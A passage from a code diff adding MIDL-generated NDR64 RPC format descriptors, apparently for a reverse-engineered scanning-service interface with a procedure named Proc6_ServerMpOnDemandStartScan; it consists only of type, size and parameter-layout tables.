_NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag73 + } +}; + +static const __midl_frag165_t __midl_frag165 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag166 +}; + +static const __midl_frag160_t __midl_frag160 = +{ +/* Proc6_ServerMpOnDemandStartScan */ + { + /* Proc6_ServerMpOnDemandStartScan */ /* procedure Proc6_ServerMpOnDemandStartScan */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag165, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag36, + { + /* arg_7 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag1288, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag156_t __midl_frag156 = +{ +/* */ + { + /* *Struct_916_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag148 + } +}; + +static const __midl_frag155_t __midl_frag155 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag154_t __midl_frag154 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag155 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag153_t __midl_frag153 = +{ +/* Struct_916_t */ + { + /* Struct_916_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag154 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag149_t __midl_frag149 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag148_t __midl_frag148 = +{ +/* *Struct_916_t */ + { + /* *Struct_916_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_916_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag149 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag154 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag153 + } +}; + +static const __midl_frag147_t __midl_frag147 = +{ +/* Struct_954_t */ + { + /* Struct_954_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_954_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag156, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag146_t __midl_frag146 = +{ +/* *Struct_954_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag147 +}; + +static const __midl_frag145_t __midl_frag145 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag141_t __midl_frag141 = +{ +/* Struct_884_t */ + { + /* Struct_884_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_884_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag145, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_884_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag140_t __midl_frag140 = +{ +/* *Struct_884_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag141 +}; + +static const __midl_frag139_t __midl_frag139 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag136_t __midl_frag136 = +{ +/* Struct_856_t */ + { + /* Struct_856_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_856_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag139, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_856_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag135_t __midl_frag135 = +{ +/* *Struct_856_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag136 +}; + +static const __midl_frag134_t __midl_frag134 = +{ +/* Struct_840_t */ + { + /* Struct_840_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_840_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag133_t __midl_frag133 = +{ +/* *Struct_840_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag134 +}; + +static const __midl_frag131_t __midl_frag131 = +{ +/* Struct_820_t */ + { + /* Struct_820_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_820_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag130_t __midl_frag130 = +{ +/* *Struct_820_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag131 +}; + +static const __midl_frag127_t __midl_frag127 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag125_t __midl_frag125 = +{ +/* Struct_800_t */ + { + /* Struct_800_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_800_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag127, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag124_t __midl_frag124 = +{ +/* *Struct_800_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag125 +}; + +static const __midl_frag123_t __midl_frag123 = +{ +/* Struct_780_t */ + { + /* Struct_780_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_780_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag122_t __midl_frag122 = +{ +/* *Struct_780_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag123 +}; + +static const __midl_frag121_t __midl_frag121 = +{ +/* Struct_126_t */ + { + /* Struct_126_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_126_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag115_t __midl_frag115 = +{ +/* *Struct_756_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag153 +}; + +static const __midl_frag110_t __midl_frag110 = +{ +/* Struct_706_t */ + { + /* Struct_706_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_706_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag145, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_706_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag109_t __midl_frag109 = +{ +/* *Struct_706_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag110 +}; + +static const __midl_frag108_t __midl_frag108 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag102 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag105 + } +}; + +static const __midl_frag106_t __midl_frag106 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag105_t __midl_frag105 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag106 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag103_t __midl_frag103 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 12 /* 0xc */ + } +}; + +static const __midl_frag102_t __midl_frag102 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag103 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag100_t __midl_frag100 = +{ +/* Struct_674_t */ + { + /* Struct_674_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_674_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag108, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 